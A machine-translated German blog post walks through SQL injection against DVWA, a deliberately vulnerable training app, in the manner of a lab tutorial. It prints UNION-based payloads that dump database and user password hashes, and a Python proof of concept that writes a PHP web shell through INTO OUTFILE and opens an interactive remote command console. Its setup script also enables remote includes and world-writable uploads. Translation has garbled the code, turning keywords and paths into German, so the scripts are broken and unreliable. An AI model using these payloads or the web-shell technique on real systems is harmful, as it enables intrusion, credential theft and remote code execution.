Verdammt Gefährdete Web App – SQL Injection
Verfasser:
Ashfaq Ansari

Bewertet von:
Wertung:
5
Auf Oktober 1, 2012
Zuletzt geändert:Januar 18, 2013

Zusammenfassung:

Schritt für Schritt und automatisierte Ansatz zur SQL-Injection-Angriff auf Verdammt Vulnerable Web Application tun.

Einführung

Verdammt Gefährdete Web App (DVWA) ist ein PHP / MySQL Web-Anwendung, die verdammt verwundbar ist und genutzt werden kann easily.Its Hauptziele sind eine Hilfe für Sicherheitsexperten, um ihre Fähigkeiten und Werkzeuge in einem rechtlichen Umfeld testen, helfen, Web-Entwickler besser zu verstehen, die Prozesse der Sicherung von Web-Anwendungen und Hilfe Lehrer / Schüler zu lehren / lernen Web-Applikations-Sicherheit in einer Testumgebung.

Warnung!

Verdammt Gefährdete Web App ist verdammt verwundbar! Nicht laden Sie sie auf Ihren Hosting-Provider public_html Ordner oder einem Web-Server arbeiten, wie es gehackt werden. Ich empfehle das Herunterladen und Installieren XAMPP auf einem lokalen Rechner in Ihrem LAN, die ausschließlich zum Testen verwendet.
Wir übernehmen keine Verantwortung für die Art, wie jemand nutzt Verdammt Gefährdete Web App (DVWA). Wir haben den Zweck der Anwendung deutlich gemacht und es sollte nicht böswillig verwendet werden. Wir haben Warnungen und Maßnahmen ergriffen, um Anwendern das Installieren auf DVWA verhindern gegeben Webserver leben. Wenn Ihr Web-Server wird über eine Installation von kompromittiert DVWA es ist nicht unsere Verantwortung es liegt in der Verantwortung der Person, die es hochgeladen und installiert.

Montage

Generell brauchen wir XAMPP Server verdammt verwundbar Web-Anwendung einzurichten, aber XAMPP Server ist nichts anderes als eine Sammlung von Apache, SQL, Perl, PHP, OpenSSL und andere serverseitige Software aber BackTrack 5 hat alle diese Software installiert ist. Das bedeutet, es gibt keine Notwendigkeit, XAMPP auf backtrack Maschine installieren. Alles, was Sie tun müssen, ist zu Verdammt Gefährdete Web App zu bekommen und legte es auf das Root-Verzeichnis BackTrack 5.

Eine wunderbare Bash-Skript ist, dass alle den Prozess automatisieren. Dank: Travis Phillips.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
echo ""
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "# Verdammt Gefährdete Web App Installer Script #"
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "Durch Coded: Travis Phillips"
echo "Website: http://theunl33t.blogspot.com\n"
echo "Durch die Änderung: Ashfaq Ansari\n"
echo "Website: http://hacksys.vfreaks.com\n"

echo "[*] Wechseln des Verzeichnisses zu / var / www ..."
cd /war/www > /dev/null
echo -und "Fertig!\n"

echo -n "[*] Erstellen DVWA Verzeichnis ..."
mkdir dvwa > /dev/null
echo -und "Fertig!\n"

echo -n "[*] Der Wechsel zu Temp-Verzeichnis ..."
cd /tmp
echo -und "Fertig!\n"

echo "[*] Herunterladen DVWA ..."
wget http://voxel.dl.sourceforge.net/Projekt/dvwa/DVWA-1.0.7.zip
echo -und "Fertig!\n"

echo -n "[*] DVWA Entpacken ..."
entpacken DVWA-1.0.7.zip > /dev/null
echo -und "Fertig!\n"

echo -n "[*] Löschen Sie die ZIP-Datei ..."
rm DVWA-1.0.7.zip > /dev/null
echo -und "Fertig!\n"

echo -n "[*] Kopieren dvwa zu Wurzel Web-Verzeichnis ..."
cp -R dvwa/* /war/www/dvwa > /dev/null
echo -und "Fertig!\n"

echo -n "[*] Clearing Temp Verzeichnis ..."
rm -R dvwa > /dev/null
echo -und "Fertig!\n"

echo -n "[*] Aktivieren von Remote gehören in php.ini ..."
cp /usw./php5/apache2/php.ini /usw./php5/apache2/php.ini1
Gier -und 'S / allow_url_include = Off / allow_url_include = On /' /usw./php5/apache2/php.ini1 > /usw./php5/apache2/php.ini
rm /usw./php5/apache2/php.ini1
echo -und "Fertig!\n"

echo -n "[*] Aktivieren von Berechtigungen in / var / www / dvwa / hackable / Upload zu schreiben ..."
chmod 777 /war/www/dvwa/hackable/Uploads/
echo -und "Fertig!\n"

echo -n "[*] Starten des Web-Service ..."
Service apache2 Start &> /dev/null
echo -und "Fertig!\n"

echo -n "[*] Starten von MySQL ..."
Service mysql Start &> /dev/null
echo -und "Fertig!\n"

echo -n "[*] Aktualisieren Config File ..."
cp /war/www/dvwa/Config/config.inc.php /war/www/dvwa/Config/config.inc.php1
Gier -und 'S /'\'\''/'\'"Toor"\''/' /war/www/dvwa/Config/config.inc.php1 > /war/www/dvwa/Config/config.inc.php
rm /war/www/dvwa/Config/config.inc.php1
echo -und "Fertig!\n"

echo -n "[*] Aktualisierung Datenbank ..."
wget --post-Daten "CREATE_DB = Create / Datenbank zurücksetzen" http://127.0.0.1/dvwa/setup.php &> /dev/null
mysql -Sie Wurzel --Kennwort="Toor" -und 'Update dvwa.users avatar = "/ hackable / Benutzer geben / gordonb.jpg" wo user = "gordonb";'
mysql -Sie Wurzel --Kennwort="Toor" -und 'Update dvwa.users avatar = "/ hackable / Benutzer geben / smithy.jpg" wo user = "Schmiede";'
mysql -Sie Wurzel --Kennwort="Toor" -und 'Update dvwa.users avatar = "/ hackable / Benutzer geben / admin.jpg" wo user = "admin";'
mysql -Sie Wurzel --Kennwort="Toor" -und 'Update dvwa.users avatar = "/ hackable / Benutzer geben / pablo.jpg" wo user = "pablo";'
mysql -Sie Wurzel --Kennwort="Toor" -und 'Update dvwa.users avatar = "/ hackable/users/1337.jpg eingestellt" wo user = "1337";'
echo -und "Fertig!\n"

echo -und -n "[*] Ab Firefox DVWA\nUserName: Admin\nKennwort: Kennwort"
firefox http://127.0.0.1/dvwa/login.php &> /dev/null &
echo -und "\nGeschehen!\n"
echo -und "[\033[1;32m * 033[1;37m] DVWA Install Finished!\n"

DVWA erfolgreich installiert, Gehen wir zu SQL Injection. Es gibt drei Ebenen SQL Injection auf der Web Application Verdammt Gefährdete (Niedrig, Mittel und Hoch). In diesem Beitrag werden wir erklären, wie das Low-Level besiegen.

Anfällige Code

1
2
3
4
5
6
$id=$_GET['Id'];

$getId="SELECT vorname, FROM users WHERE last_name user_id = '$id'";
$führen=mysql_query($getId) oder die('
<pre>'
. mysql_error() . '</pre>
'
);

Der obige Code ist anfällig für SQL Injection. Wie Sie sehen können gibt es keine Desinfektion verwendet, die Variable wird einfach direkt in die SQL-Abfrage eingefügt.

Lassen Sie uns bestätigen, ob es anfällig für SQL Injection ist:

UserID: ‘

Die Seite brachte die folgende Fehlermeldung:

Sie haben einen Fehler in der SQL-Syntax; lesen Sie das Handbuch zu Ihrem MySQL-Server-Version für den richtigen Syntax zur Verwendung in der Nähe ””’ in Zeile 1

Dies bestätigt, dass es anfällig für SQL Injection ist, erste, was zu tun ist, herauszufinden, wie viele Spalten gibt es:

UserID: ‘ ORDER BY 1#
UserID: ‘ ORDER BY 2#

Diese einfach die gleiche Seite.

UserID: ‘ ORDER BY 3#

Dann das gibt uns einen unschätzbaren Fehlermeldung:

Unknown column '3’ in 'bestellen Klausel’

Daher, Es gibt zwei Spalten, die offensichtlich sind die vorname und nachname Spalten als wenn Sie die Benutzer-ID übergeben: bilden eine gültige Benutzer-ID (1) zum Beispiel erhalten Sie diese:

Identifikation: 1
Vorname: Admin
Nachname: Admin

Recht, Jetzt ist es Zeit, den Namen der Datenbank herausfinden,, Tabellennamen, Spaltennamen und alles, was nützlich und interessant. Das erste, was zuerst wollen wir herausfinden, die Datenbankversion:

Identifikation: ‘ UNION ALL SELECT 1, @ @ VERSION #
Vorname: 1
Nachname: 5.1.41-3ubuntu12.10

So ist es mit MySQL 5.1.41-3 auf Ubuntu. Lässt die Benutzer die Datenbank als Laufen und den Namen der Datenbank, die wir zu tun haben:

Identifikation: ‘ UNION ALL SELECT Benutzer(),Datenbank()#
Vorname: root @ localhost
Nachname: dvwa

Der Datenbankbenutzer ist Wurzel und die Datenbank, die wir mit betroffen ist dvwa. Da der Benutzer ist root wir MySQL-Dump-Hash:

Identifikation: ‘ UNION ALL SELECT Benutzer,Passwort VON mysql.user #
Vorname: Wurzel
Nachname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identifikation: ‘ UNION ALL SELECT Benutzer,Passwort VON mysql.user #
Vorname: Wurzel
Nachname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identifikation: ‘ UNION ALL SELECT Benutzer,Passwort VON mysql.user #
Vorname: Wurzel
Nachname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identifikation: ‘ UNION ALL SELECT Benutzer,Passwort VON mysql.user #
Vorname: debian-sys-maint
Nachname: *8C4C424D182238AFBA8B217F692D07C952EF4087

Identifikation: ‘ UNION ALL SELECT Benutzer,Passwort VON mysql.user #
Vorname: Wurzel
Nachname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Identifikation: ‘ UNION ALL SELECT Benutzer,Passwort VON mysql.user #
Vorname: Admin
Nachname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Wow! Wir haben die Wurzel passord Hash. Wir verwenden John The Ripper um den Hash knacken.

Wir wissen, dass der Datenbankname dvwa. Lassen Sie uns herausfinden, den Namen der Tabelle:

Identifikation: ‘ UNION ALL SELECT table_schema,Tabellenname FROM WHERE INFORMATION_SCHEMA.TABLES table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: Gästebuch

Identifikation: ‘ UNION ALL SELECT table_schema,Tabellenname FROM WHERE INFORMATION_SCHEMA.TABLES table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: Benutzer

Es gibt zwei Tabellen dvwa Datenbank als Namen Gästebuch und Benutzer

Jetzt, lassen Sie uns in Spalten Benutzer Tabelle.

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: comment_id

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: Kommentar

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: Name

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: user_id

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: first_name

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: last_name

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: Benutzer

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: Kennwort

Identifikation: ‘ UNION ALL SELECT table_schema, spalten FROM WHERE information_schema.columns table_schema LIKE '%% dvwa’ #
Vorname: dvwa
Nachname: avatar

Ehrfürchtig, wir werfen den Benutzernamen und das Passwort von dvwa.users Tabelle. Hier gehen wir.

Identifikation: ‘ UNION ALL SELECT Benutzer, Passwort VON dvwa.users #
Vorname: Admin
Nachname: 5f4dcc3b5aa765d61d8327deb882cf99

Identifikation: ‘ UNION ALL SELECT Benutzer, Passwort VON dvwa.users #
Vorname: gordonb
Nachname: e99a18c428cb38d5f260853678922e03

Identifikation: ‘ UNION ALL SELECT Benutzer, Passwort VON dvwa.users #
Vorname: 1337
Nachname: 8d3533d75ae2c3966d7e0d4fcc69216b

Identifikation: ‘ UNION ALL SELECT Benutzer, Passwort VON dvwa.users #
Vorname: pablo
Nachname: 0d107d09f5bbe40cade3de5c71e9e9b7

Identifikation: ‘ UNION ALL SELECT Benutzer, Passwort VON dvwa.users #
Vorname: Schmiede
Nachname: 5f4dcc3b5aa765d61d8327deb882cf99

Job getan. Wir haben erfolgreich die Anmeldeinformationen des Benutzers gedumpten. Wir können sie mit jeder knacken MD5-Hash-Cracker.

HackSys Teams hat ein PoC in Python, die hilft bei der automatisierte SQL-Injection auf DVWA und gibt einen Shell-Prompt, wo wir regelmäßig Shell-Befehle ausführen können.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin / python
#________________________________________________
#    Verdammt Gefährdete Web Application - DVWA
#     SQL-Injection-Exploit zu RCE - PoC
#   von Ashfaq Ansari (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (Ltd)   http://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ Power by HackSys Teams - Panthera
#________________________________________________
#
importieren sys, Buchse, urllib, re, urllib2, getpass, String, Zeit, zufällig, base64
von optparse importieren OptionParser
von cookielib importieren CookieJar

descLogo = """
________________________________________________

     Verdammt Gefährdete Web Application - DVWA
           SQL Injection zu RCE - PoC
   von Ashfaq Ansari (hacksysteam@hotmail.com)

            (__)
            (Ltd)  http://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ Power by HackSys Teams - Panthera
________________________________________________

"""


#Farbe Variablen mit Befehl print verwendet werden
RED= "\033[31m" # red
GREEN= "\033[32m" # grün
WHITE= "\033[0m" # weiß
CYAN = "\033[36m" #cyan
PURPLE = "\033[35m" #lila

#Variablen
URLStart = "Schwachstellen / sqli / index.php?id ="
urlEnd = "&Submit = Abschicken"
shellName = "Fd7cb4cb0031ba249"
Agenten = ["Mozilla/4.0 (kompatibel; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (kompatibel; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; Sie; in)"]
Agent = zufällig.Wahl(Agenten)


#Verwendungen Hilfe Zusammenfassung
Nutzung = CYAN + ". / Prog% [<Optionen>] -t [Ziel] -d [Verzeichnis]"
Nutzung += "\nBeispiel: ./%prog-p localhost:8080 -t 192.168.1.15:8080 -d / dvwa /"

#Parser-Optionen
Parser = OptionParser(Nutzung=Nutzung)
Parser.add_option("-P", Art="String",Handlung="Store", dest="Proxy",
                  helfen="HTTP Proxy <Server:Port>")
Parser.add_option("T-", Art="String", Handlung="Store", dest="Target",
                  helfen="Der Ziel-Server <Server:Port>")
Parser.add_option("-D", Art="String", Handlung="Store", dest="DirPath",
                  helfen="Pfad zu dem Verzeichnis Verdammt Gefährdete Web App")
(Optionen, args) = Parser.parse_args()


#Eingabe von Text - Just for fun
def typingText(textMessage, Farbe):
 
  versuchen:
    für i in textMessage:
      drucken Farbe + "\b%s"%i,
      sys.stdout.bündig()
      Zeit.schlafen(0.020)
  außer:
    passieren
 

wenn lediglich(sys.argv) < 5:
    typingText(descLogo, PURPLE)
    Parser.print_help()
    sys.verlassen(1)
   

#Proxy Handler
def getProxy():
 
    versuchen:
        proxy_handler = urllib2.Proxy Handler({'Http': Optionen.Proxy})
    außer(Buchse.Timeout):
            drucken RED + "\tProxy Zeitüberschreitung ...\n"
            sys.verlassen(1)
    Rückkehr proxy_handler


#Test-Proxy-Verbindung
def testProxy():
 
    drucken(CYAN + "[+] Testen Proxy @% s ..." % (Optionen.Proxy))
    opener = urllib2.build_opener(getProxy())
   
    versuchen:
      überprüfen = opener.öffnen("Http://www.google.com").lesen()
    außer:
      überprüfen = 0
      passieren
   
    wenn überprüfen >= 1:
      drucken(GREEN + "\tProxy gefunden wird, um zu arbeiten ...\n")
    sonst:
      drucken RED + "\tProxy fehlgeschlagen ... Beenden!\n"
      sys.verlassen(1)


#Holen Sie sich die Antwort vom Server
def getServerResponse(cj, targetURL, Daten):
     
    wenn Optionen.Proxy:
      versuchen:
    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
    opener.addHeaders = [("User-agent ', Agent)]
    überprüfen = opener.öffnen(targetURL, Daten).lesen()
    Rückkehr überprüfen
      außer:
    drucken (RED + "\tProxy-Verbindung fehlgeschlagen zu entfernten Ziel ...\n")
    sys.verlassen(1)
    sonst:
      versuchen:
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    opener.addHeaders = [("User-agent ', Agent)]
    überprüfen = opener.öffnen(targetURL, Daten).lesen()
    Rückkehr überprüfen
      außer:
    drucken (RED + "\tZiel Verbindung fehlgeschlagen, Ihre Adresse ...\n")
    sys.verlassen(1)


#Versuchen Sie, sich anmelden, um Gefährdete Web Application Verdammt
def doLogin():
 
    drucken(CYAN + "[+] Der Versuch, zu DVWA ein ...")
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + "Login.php"
    Werte = {'Username' : 'Admin', 'Password' : 'Password', 'Login' : 'Login'}
    Daten = urllib.urlencode(Werte)
    cj = CookieJar()
   
    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)
       
    wenn nicht re.Suche("Anmeldung fehlgeschlagen", respHTML):
      Zeit.schlafen(1)
      typingText("\tAuthentifizierung erfolgreich ...\n\n", GREEN)
      Rückkehr cj
    sonst:
      Zeit.schlafen(1)
      typingText("\tAuthentifizierung verweigert! Beenden ...\n\n\n", RED)
      sys.verlassen(1)


#Versuchen Sie, Sicherheitsstufe Verdammt Gefährdete Web Application tamperthe
def lowSecurity(adminCookie):
 
    drucken(CYAN + "[+] Eingriffe die Sicherheit DVWA ...")
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + "Security.php"
    Werte = {"Sicherheit" : "Niedrig", 'Seclev_submit' : 'Senden'}
    Daten = urllib.urlencode(Werte)
    cj = adminCookie #Verwenden Sie die Cookie von doLogin zurück() Aufgabe
   
    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)
   
    wenn re.Suche("Sicherheitsstufe ist derzeit <in>niedrig</in>", respHTML):
      Zeit.schlafen(1)
      typingText("\tSicherheitsstufe erfolgreich Satz auf LOW ...\n\n", GREEN)
    sonst:
      Zeit.schlafen(1)
      typingText("\tUnfähig, Sicherheitsstufe manipulieren! Beenden ...\n\n", RED)
      sys.verlassen(1)


#Prüfen Sie, ob die Ziel ist anfällig für SQL-Injection
def testSQLinjection(adminCookie):
 
    drucken(CYAN + "[+] Prüfen, ob die Ziel anfällig ...")
    injection_url = "1 '"
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + URLStart + injection_url + urlEnd
    Daten = ""
   
    cj = adminCookie #Verwenden Sie die Cookie von doLogin zurück() Aufgabe

    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)
   
    wenn re.Suche("Fehler in der SQL-Syntax", respHTML):
      Zeit.schlafen(1)
      typingText("\tw00t -- Ziel gefunden, verletzlich zu sein ...\n\n", GREEN)
    sonst:
      Zeit.schlafen(1)
      typingText("\to00w -- Ziel ist nicht anfällig! Beenden ...\n\n", RED)    
      sys.verlassen(1)


#Finden Sie MySQL Details
def findMySQLInfo(adminCookie):
 
    drucken(CYAN + "[+] Retriving MySQL Informationen ...")
    injection_url = "1" UNION ALL SELECT CONCAT_WS(0x3b,0x4861636b537973205465616d,Benutzer(),Datenbank(),Version(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + URLStart + injection_url + urlEnd
    Daten = ""
   
    cj = adminCookie #Verwenden Sie die Cookie von doLogin zurück() Aufgabe

    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)
   
    # Entpacken Sie nun den interessanten Informationen
    get_secret_data = String.finden(respHTML,  "HackSys Teams")
     
    # Wenn das Ziel nicht anfällig Austritts
    wenn get_secret_data == -1:
        typingText("\tOperation fehlgeschlagen. Verlassen jetzt ...\n\n", RED)
        sys.verlassen(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = String.finden(new_html4,  "HackSys Teams")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Daten empfangen, jetzt formatieren und anzeigen
    formatted_output = str.Split(new_html_5,  ";")
    Zeit.schlafen(1)
    drucken GREEN + "\tMySQL-Datenbank: ",  formatted_output[2]
    drucken GREEN + "\tMySQL Version : ",  formatted_output[3]
    drucken GREEN + "\tMySQL-Datenbankbenutzers : ",  formatted_output[1]
    drucken ""
    Rückkehr


#Versuchen Sie, Anzahl der Datensätze in Tabelle users
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL SELECT 1% 2C COUNT(*)+von Benutzer% 3B% 23"
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + URLStart + injection_url + urlEnd
    Daten = ""
   
    cj = adminCookie #Verwenden Sie die Cookie von doLogin zurück() Aufgabe

    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)
   
    # Entpacken Sie nun den interessanten Informationen
    get_secret_data = String.finden(respHTML,  "<br>Nachname:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = String.finden(new_html,  "</pre>\r\n\r\n\t</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Daten empfangen, jetzt formatieren und anzeigen
    formatted_output = str.Split(new_html_2,  ": ")
    Rückkehr formatted_output[2]
   

#Versuchen Sie, das Benutzernamen und Passwort von Benutzer-Tabelle Dump
def findUserPasswords(adminCookie, Index):
 
    injection_url = "1" UNION ALL SELECT 1% 2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+VON Benutzer LIMIT " + str(Index) + "% 2C30% 3B% 23"
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + URLStart + injection_url + urlEnd
    Daten = ""
   
    cj = adminCookie #Verwenden Sie die Cookie von doLogin zurück() Aufgabe

    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)
   
    # Entpacken Sie nun den interessanten Informationen
    get_secret_data = String.finden(respHTML,  "HackSys Teams")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = String.finden(new_html,  "HackSys Teams")    
    new_html_2 = new_html[:new_get_secret_data]

    # Daten empfangen, jetzt formatieren und anzeigen
    formatted_output = str.Split(new_html_2,  ";")
    Zeit.schlafen(1)
    drucken GREEN + "\tBenutzer-ID : ",  formatted_output[1]
    drucken GREEN + "\tVorname: ",  formatted_output[2]
    drucken GREEN + "\tNachname : ",  formatted_output[3]
    drucken GREEN + "\tBenutzername: ",  formatted_output[4]
    drucken GREEN + "\tPasswort-Hash : ",  formatted_output[5]
    drucken ""


#Versuchen Sie, eine tinyShell für interaktive Angriff hochladen
def uploadShellViaSQLi(adminCookie):
 
    drucken(CYAN + "[+] Hochladen von Shell über SQLI ...")
   
    #XAMPP unter Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #Linux
    injection_url = "1% 27 UNION ALL SELECT % 27% 27% 2C % 27% 3c% 3Fphp System(base64_decode(%24_GET[%22cmd% 22% 5D% 29% 29% 3% 27% 3B % 3F INTO OUTFILE % 27% 2Fvar% 2F% 2Fwww% 2Fdvwa" + shellName + ". Php% 27% 3B% 23"
   
    targetURL = "Http://" + Optionen.Ziel + Optionen.dirPath + URLStart + injection_url + urlEnd
    Daten = ""
   
    cj = adminCookie #Verwenden Sie die Cookie von doLogin zurück() Aufgabe

    #Holen Sie sich die Antwort vom Server und speichern sie in einer Variablen
    respHTML = getServerResponse(cj, targetURL, Daten)

    wenn re.Suche("<h3>Benutzer-ID:</h3>", respHTML):
      Zeit.schlafen(1)
      typingText("\tw00t -- Shell erfolgreich hochgeladen ...\n\n", GREEN)
    elif re.Suche("Existiert bereits</pre>", respHTML):
      Zeit.schlafen(1)
      typingText("\tw00t -- Shell bereits vorhanden ...\n\n", GREEN)  
    sonst:
      Zeit.schlafen(1)
      typingText("\to00w -- Unfähig, die Schale laden ...\n\n", RED)
      sys.verlassen(1)


#Starten Sie interaktive Sitzung Angriff
def interactiveAttack(adminCookie):
 
  drucken CYAN + "[+] Eingabe interaktiven Remote-Konsole (q beenden)\n" + WHITE + "\n  HackSys Teams - Panthera\n   Verfasser: Ashfaq Ansari\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com /\n\n"
  hn = GREEN + "% S @% s # " % (getpass.getuser(), Optionen.Ziel) + WHITE
  cmd = ""
  Daten = ""
  cj = adminCookie
  während cmd != 'Q':
    versuchen:
      cmd = raw_input(hn)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("Http://%s% s% s.php?cmd =% s" % (Optionen.Ziel, Optionen.dirPath, shellName, cmd64))
      oder = getServerResponse(cj, targetURL, cmd64)
      shellOutput = oder.Split("Admin")
      drucken WHITE + shellOutput[2]
    außer:
      brechen
 
  # Selbstmord
  rmShell = base64.b64encode("Rm% s.php" % (shellName))
  targetURL = ("Http://%s% s% s.php?cmd =% s" % (Optionen.Ziel, Optionen.dirPath, shellName, rmShell))
  oder = getServerResponse(cj, targetURL, rmShell)

     
#Hauptfunktion
def Haupt():
 
  #Drucken Sie das Banner in Typing Text Stil
  typingText(descLogo, PURPLE)
 
  #Prüfen und verbinden Proxyserver falls angegeben mit p-Argument
  wenn Optionen.Proxy:
    testProxy()

  #Schnappen Sie sich das Admin-Cookie
  adminCookie = doLogin()
 
  #Tamper die Sicherheitsstufe
  lowSecurity(adminCookie)
 
  #Testen Sie SQL-Injection-Schwachstelle
  testSQLinjection(adminCookie)
 
  #MySQL Dump Details
  findMySQLInfo(adminCookie)
 
  #Finden Anzahl der Datensätze in Tabelle users
  totalrecords = int(findNoOfRecordsInTable(adminCookie))
 
  drucken(CYAN + "[+] Retriving Benutzername und Passwörter ...")
 
  für Index in Bereich(1,totalRecords 1):
    #Dump Passwörter
    findUserPasswords(adminCookie, Index)
 
  #Laden Sie die tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Starten Sie interaktive Angriff
  interactiveAttack(adminCookie)
 
wenn __name__ == "__main__":
    Haupt()

Laden Verdammt Gefährdete Web App – SQL Injection PoC

 

DVWA_SQLi.zip

 
Vielen Dank für Ihre Zeit, diesen Beitrag zu lesen. Wenn Sie irgendein Problem, wenden Sie sich bitte an uns schreiben: hacksysteam@hotmail.com

 
 

178,068 Ansichten, 49 von heute

Die folgenden zwei Registerkarten wechseln Gehalt unter.

Ashfaq Ansari

Sicherheit Researcher
Ashfaq Ansari ist der Gründer der HackSys Teams Codenamen "Panthera". Er ist ein Sicherheitsexperte mit Erfahrung in verschiedenen Aspekten der Informationssicherheit. Er ist Autor "HackSys Extreme Vulnerable Treiber" und "Shellcode of Death". Er hat auch geschrieben und veröffentlicht verschiedene Whitepapers auf niedrigem Niveau Software Ausbeutung. Seine Kern Interesse liegt in "Low Level Exploitation", "Reverse Engineering", "Program Analysis" und "Hybrid Fuzzing". Er ist ein fanboy der Künstlichen Intelligenz und maschinelles Lernen. Er ist das Kapitel für Blei null Pune.

Keine Antworten : “Verdammt Gefährdete Web App – SQL Injection”

Trackbacks / Pingbacks

  1. Verdammt Gefährdete Web App - Local File Inclusion (LFI) | HackSys Teams - Computer-Security Research, Penetration Testing, Ethical Hacking, Windows-Technical Support - [...] Sie haben den ersten Teil gelesen, hier ist der Link: http://hacksys.vfreaks.com / Stift-testing / verdammt verletzlich-web-app-sql-injection.html [...]

Einen Kommentar schreiben

Ihre E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *